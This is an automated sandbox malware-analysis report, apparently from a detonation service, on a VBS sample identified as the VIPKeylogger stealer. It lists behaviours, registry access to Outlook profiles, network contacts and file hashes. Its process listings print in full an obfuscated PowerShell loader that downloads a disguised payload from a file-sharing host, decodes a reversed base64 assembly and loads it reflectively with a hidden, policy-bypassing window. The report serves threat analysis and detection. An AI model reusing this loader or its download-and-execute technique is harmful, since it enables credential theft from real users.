Malware Analysis Report

2024-12-01 03:07

Sample ID 241111-kz15eaxanm
Target Scan112024.vbs
SHA256 f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348
Tags
execution vipkeylogger collection discovery keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348

Threat Level: Known bad

The file Scan112024.vbs was found to be: Known bad.

Malicious Activity Summary

execution vipkeylogger collection discovery keylogger stealer

Vipkeylogger family

VIPKeylogger

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Accesses Microsoft Outlook profiles

Looks up external IP address via web service

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Browser Information Discovery

outlook_office_path

Script User-Agent

outlook_win_path

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 09:03

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 09:03

Reported

2024-11-11 09:05

Platform

win7-20240903-en

Max time kernel

119s

Max time network

120s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan112024.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan112024.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnT0s2aW1hZ2VVcmwgPSA5U2NodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9mJysnaWxla2V5PTJBYV9iV28nKyc5UmV1NDUnKyd0JysnN0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVEknKydDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIDlTYztPSzZ3ZWJDJysnbGllbnQgPSBOZXcnKyctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O09LNmltYWdlQnl0ZXMgPSBPSzZ3ZWJDJysnbGllbnQuRG93bmxvJysnYWREYXRhKE9LNmltYWdlVXJsKTtPSzZpbWFnZVRleHQgPSBbU3lzdGVtLicrJ1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhPSzZpbWFnJysnZUJ5dGVzKTtPSzZzdGEnKydydEZsYWcgPSA5U2M8PEJBU0U2NF9TVEFSVD4+OVNjO09LNmVuZEZsYWcgPSA5U2M8PEJBU0U2NF9FTkQ+PjlTYztPSzZzdGFydEluZGV4ID0gT0s2aW1hZ2VUZXh0LkluZGV4T2YoT0s2c3RhcnRGbCcrJ2FnKScrJztPSzZlbmRJbmRleCA9IE9LNmltYScrJ2dlVGV4dC5JbicrJ2RleE9mKE9LNmVuZEZsYWcpO09LNnN0YScrJ3J0SW5kZXggLWdlIDAgLWFuZCBPSzZlbmRJbmRleCAtZ3QgT0s2c3RhcnRJbmRleDtPSzZzdGFydEluZGV4ICsnKyc9IE9LNnN0YXJ0RmxhZy5MZW5ndGg7T0s2YmFzZTY0TGVuZ3RoID0gT0s2ZW5kSW5kZXggLSBPSzZzdGFydEluZGV4O09LNmJhc2U2NENvbW1hbmQgPSBPSzZpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ09LNnN0JysnYXJ0SW5kZXgsIE9LNmJhc2U2NExlbmd0aCk7T0s2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoT0s2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRyYiBGb3JFYWNoLU9iamVjdCB7IE9LNl8gfSlbLTEuLi0oJysnT0s2YmFzZTY0Q28nKydtbWFuZC5MZW5ndGgpXTtPSzZjb21tYW4nKydkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjonKydGcm9tQmFzZTY0U3RyJysnaScrJ25nKE9LNmJhcycrJ2U2NCcrJ1JldmVyJysnc2VkKTtPSzZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseScrJ106OkxvYWQoT0s2Y29tbWFuZEJ5dGVzKTtPSzZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDlTJysnY1ZBSTlTYyk7T0s2dmFpTWV0aG9kLkludm9rZShPSzZudWxsLCcrJyBAKDlTY3QnKyd4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbG9yLnN1cC8vOnB0dGg5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTYycrJ2Rlc2F0aXZhZG85U2MsIDlTJysnY2Rlc2F0aXZhJysnZCcrJ285U2MsIDlTYzE5U2MsIDlTY09uZURyaXZlU2V0dXA5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhJysnZG85U2MsOVNjZGVzYXRpdmFkbzlTYyw5U2NkZXNhdGl2YWRvOVNjLDlTY2QnKydlc2F0aXZhZG85U2MsOVNjMTlTYyw5U2NkZXNhJysndGl2YWRvOVNjKSk7JykgIC1yZXBsQUNlKFtDSGFyXTExNitbQ0hhcl0xMTQrW0NIYXJdOTgpLFtDSGFyXTEyNC1jcmVwbGFDRSAnT0s2JyxbQ0hhcl0zNiAgLXJlcGxBQ2UgICc5U2MnLFtDSGFyXTM5KSB8ICYgKChHdiAnKk1kUionKS5OYW1FWzMsMTEsMl0tam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('OK6imageUrl = 9Schttps://1017.filemail.com/api/file/get?f'+'ilekey=2Aa_bWo'+'9Reu45'+'t'+'7BU1kVgsd9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f 9Sc;OK6webC'+'lient = New'+'-Object System.Net.WebClient;OK6imageBytes = OK6webC'+'lient.Downlo'+'adData(OK6imageUrl);OK6imageText = [System.'+'Text.Encoding]::UTF8.GetString(OK6imag'+'eBytes);OK6sta'+'rtFlag = 9Sc<<BASE64_START>>9Sc;OK6endFlag = 9Sc<<BASE64_END>>9Sc;OK6startIndex = OK6imageText.IndexOf(OK6startFl'+'ag)'+';OK6endIndex = OK6ima'+'geText.In'+'dexOf(OK6endFlag);OK6sta'+'rtIndex -ge 0 -and OK6endIndex -gt OK6startIndex;OK6startIndex +'+'= OK6startFlag.Length;OK6base64Length = OK6endIndex - OK6startIndex;OK6base64Command = OK6imageText.Substring('+'OK6st'+'artIndex, OK6base64Length);OK6base64Reversed = -join (OK6base64Command.ToCharArray() trb ForEach-Object { OK6_ })[-1..-('+'OK6base64Co'+'mmand.Length)];OK6comman'+'dBytes = [System.Convert]::'+'FromBase64Str'+'i'+'ng(OK6bas'+'e64'+'Rever'+'sed);OK6loadedAssembly = [System.Reflection.Assembly'+']::Load(OK6commandBytes);OK6vaiMethod = [dnlib.IO.Home].GetMethod(9S'+'cVAI9Sc);OK6vaiMethod.Invoke(OK6null,'+' @(9Sct'+'xt.LSSWS/klo/ue.hsupwsrellor.sup//:ptth9Sc, 9Scdesativado9Sc, 9Scdesativado9Sc, 9Sc'+'desativado9Sc, 9S'+'cdesativa'+'d'+'o9Sc, 9Sc19Sc, 9ScOneDriveSetup9Sc, 9Scdesativado9Sc, 9Scdesativa'+'do9Sc,9Scdesativado9Sc,9Scdesativado9Sc,9Scd'+'esativado9Sc,9Sc19Sc,9Scdesa'+'tivado9Sc));') -replACe([CHar]116+[CHar]114+[CHar]98),[CHar]124-creplaCE 'OK6',[CHar]36 -replACe '9Sc',[CHar]39) | & ((Gv '*MdR*').NamE[3,11,2]-joiN'')"

Network

Country Destination Domain Proto
US 8.8.8.8:53 paste.ee udp
US 172.67.187.200:80 paste.ee tcp
US 172.67.187.200:443 paste.ee tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs

MD5 03e4e4d0259b3af7b37e2802812d9128
SHA1 fcef4018ec7206fb296b79e8035bb02457e39872
SHA256 26524695f59b3f155be3c94504537f36c5de23bc2226e5819b7919023dd5c183
SHA512 dbdaa2707f6e19442a7d55f119487b418f17a040462b11fc88653e130709c1127e2d0d1923dde3258546ff07b18c1d3c5cdbc2a7ff40f342d3689a618159e1a6

memory/2652-8-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

memory/2652-9-0x0000000002240000-0x0000000002248000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 ebb4c51fc0f6bcf7d19f693f1216c4a7
SHA1 8ae1a89e9106c66e2176d3d7b81d19208aae3ea1
SHA256 ac136e5974e25a664fe03685a6ac84563d7345c7ee953e2c488c30097ff67dd5
SHA512 6b5382848c7e15a9ecdfe885caa2f26a3f593b7b2c06b065d84bdb838860ea6dcda32658ac973317220f837e3d4233d25737944d8cd518fa2434027fe87ebe25

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 09:03

Reported

2024-11-11 09:05

Platform

win10v2004-20241007-en

Max time kernel

122s

Max time network

149s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan112024.vbs"

Signatures

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3060 set thread context of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\OneDriveSetup.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings C:\Windows\System32\WScript.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\OneDriveSetup.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3456 wrote to memory of 976 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 3456 wrote to memory of 976 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 976 wrote to memory of 964 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 976 wrote to memory of 964 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 964 wrote to memory of 3060 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 964 wrote to memory of 3060 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3060 wrote to memory of 2952 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 2952 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 2952 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4132 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4132 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4132 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe
PID 3060 wrote to memory of 4136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\OneDriveSetup.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\OneDriveSetup.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan112024.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnT0s2aW1hZ2VVcmwgPSA5U2NodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9mJysnaWxla2V5PTJBYV9iV28nKyc5UmV1NDUnKyd0JysnN0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVEknKydDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIDlTYztPSzZ3ZWJDJysnbGllbnQgPSBOZXcnKyctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O09LNmltYWdlQnl0ZXMgPSBPSzZ3ZWJDJysnbGllbnQuRG93bmxvJysnYWREYXRhKE9LNmltYWdlVXJsKTtPSzZpbWFnZVRleHQgPSBbU3lzdGVtLicrJ1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhPSzZpbWFnJysnZUJ5dGVzKTtPSzZzdGEnKydydEZsYWcgPSA5U2M8PEJBU0U2NF9TVEFSVD4+OVNjO09LNmVuZEZsYWcgPSA5U2M8PEJBU0U2NF9FTkQ+PjlTYztPSzZzdGFydEluZGV4ID0gT0s2aW1hZ2VUZXh0LkluZGV4T2YoT0s2c3RhcnRGbCcrJ2FnKScrJztPSzZlbmRJbmRleCA9IE9LNmltYScrJ2dlVGV4dC5JbicrJ2RleE9mKE9LNmVuZEZsYWcpO09LNnN0YScrJ3J0SW5kZXggLWdlIDAgLWFuZCBPSzZlbmRJbmRleCAtZ3QgT0s2c3RhcnRJbmRleDtPSzZzdGFydEluZGV4ICsnKyc9IE9LNnN0YXJ0RmxhZy5MZW5ndGg7T0s2YmFzZTY0TGVuZ3RoID0gT0s2ZW5kSW5kZXggLSBPSzZzdGFydEluZGV4O09LNmJhc2U2NENvbW1hbmQgPSBPSzZpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ09LNnN0JysnYXJ0SW5kZXgsIE9LNmJhc2U2NExlbmd0aCk7T0s2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoT0s2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRyYiBGb3JFYWNoLU9iamVjdCB7IE9LNl8gfSlbLTEuLi0oJysnT0s2YmFzZTY0Q28nKydtbWFuZC5MZW5ndGgpXTtPSzZjb21tYW4nKydkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjonKydGcm9tQmFzZTY0U3RyJysnaScrJ25nKE9LNmJhcycrJ2U2NCcrJ1JldmVyJysnc2VkKTtPSzZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseScrJ106OkxvYWQoT0s2Y29tbWFuZEJ5dGVzKTtPSzZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDlTJysnY1ZBSTlTYyk7T0s2dmFpTWV0aG9kLkludm9rZShPSzZudWxsLCcrJyBAKDlTY3QnKyd4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbG9yLnN1cC8vOnB0dGg5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTYycrJ2Rlc2F0aXZhZG85U2MsIDlTJysnY2Rlc2F0aXZhJysnZCcrJ285U2MsIDlTYzE5U2MsIDlTY09uZURyaXZlU2V0dXA5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhJysnZG85U2MsOVNjZGVzYXRpdmFkbzlTYyw5U2NkZXNhdGl2YWRvOVNjLDlTY2QnKydlc2F0aXZhZG85U2MsOVNjMTlTYyw5U2NkZXNhJysndGl2YWRvOVNjKSk7JykgIC1yZXBsQUNlKFtDSGFyXTExNitbQ0hhcl0xMTQrW0NIYXJdOTgpLFtDSGFyXTEyNC1jcmVwbGFDRSAnT0s2JyxbQ0hhcl0zNiAgLXJlcGxBQ2UgICc5U2MnLFtDSGFyXTM5KSB8ICYgKChHdiAnKk1kUionKS5OYW1FWzMsMTEsMl0tam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('OK6imageUrl = 9Schttps://1017.filemail.com/api/file/get?f'+'ilekey=2Aa_bWo'+'9Reu45'+'t'+'7BU1kVgsd9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f 9Sc;OK6webC'+'lient = New'+'-Object System.Net.WebClient;OK6imageBytes = OK6webC'+'lient.Downlo'+'adData(OK6imageUrl);OK6imageText = [System.'+'Text.Encoding]::UTF8.GetString(OK6imag'+'eBytes);OK6sta'+'rtFlag = 9Sc<<BASE64_START>>9Sc;OK6endFlag = 9Sc<<BASE64_END>>9Sc;OK6startIndex = OK6imageText.IndexOf(OK6startFl'+'ag)'+';OK6endIndex = OK6ima'+'geText.In'+'dexOf(OK6endFlag);OK6sta'+'rtIndex -ge 0 -and OK6endIndex -gt OK6startIndex;OK6startIndex +'+'= OK6startFlag.Length;OK6base64Length = OK6endIndex - OK6startIndex;OK6base64Command = OK6imageText.Substring('+'OK6st'+'artIndex, OK6base64Length);OK6base64Reversed = -join (OK6base64Command.ToCharArray() trb ForEach-Object { OK6_ })[-1..-('+'OK6base64Co'+'mmand.Length)];OK6comman'+'dBytes = [System.Convert]::'+'FromBase64Str'+'i'+'ng(OK6bas'+'e64'+'Rever'+'sed);OK6loadedAssembly = [System.Reflection.Assembly'+']::Load(OK6commandBytes);OK6vaiMethod = [dnlib.IO.Home].GetMethod(9S'+'cVAI9Sc);OK6vaiMethod.Invoke(OK6null,'+' @(9Sct'+'xt.LSSWS/klo/ue.hsupwsrellor.sup//:ptth9Sc, 9Scdesativado9Sc, 9Scdesativado9Sc, 9Sc'+'desativado9Sc, 9S'+'cdesativa'+'d'+'o9Sc, 9Sc19Sc, 9ScOneDriveSetup9Sc, 9Scdesativado9Sc, 9Scdesativa'+'do9Sc,9Scdesativado9Sc,9Scdesativado9Sc,9Scd'+'esativado9Sc,9Sc19Sc,9Scdesa'+'tivado9Sc));') -replACe([CHar]116+[CHar]114+[CHar]98),[CHar]124-creplaCE 'OK6',[CHar]36 -replACe '9Sc',[CHar]39) | & ((Gv '*MdR*').NamE[3,11,2]-joiN'')"

C:\Windows\SysWOW64\OneDriveSetup.exe

"C:\Windows\SysWOW64\OneDriveSetup.exe"

C:\Windows\SysWOW64\OneDriveSetup.exe

"C:\Windows\SysWOW64\OneDriveSetup.exe"

C:\Windows\SysWOW64\OneDriveSetup.exe

"C:\Windows\SysWOW64\OneDriveSetup.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 paste.ee udp
US 104.21.84.67:80 paste.ee tcp
US 104.21.84.67:443 paste.ee tcp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 67.84.21.104.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 pus.rollerswpush.eu udp
LT 141.98.10.88:80 pus.rollerswpush.eu tcp
US 8.8.8.8:53 88.10.98.141.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
US 158.101.44.242:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 172.67.177.134:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 242.44.101.158.in-addr.arpa udp
US 8.8.8.8:53 134.177.67.172.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 sws.swpushroller.eu udp
LT 141.98.10.88:80 sws.swpushroller.eu tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs

MD5 03e4e4d0259b3af7b37e2802812d9128
SHA1 fcef4018ec7206fb296b79e8035bb02457e39872
SHA256 26524695f59b3f155be3c94504537f36c5de23bc2226e5819b7919023dd5c183
SHA512 dbdaa2707f6e19442a7d55f119487b418f17a040462b11fc88653e130709c1127e2d0d1923dde3258546ff07b18c1d3c5cdbc2a7ff40f342d3689a618159e1a6

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j3je1q1l.owx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/964-9-0x00000232B83A0000-0x00000232B83C2000-memory.dmp

memory/3060-23-0x0000014F6B500000-0x0000014F6B658000-memory.dmp

memory/4136-24-0x0000000000400000-0x0000000000437000-memory.dmp

memory/4136-27-0x0000000000400000-0x0000000000437000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
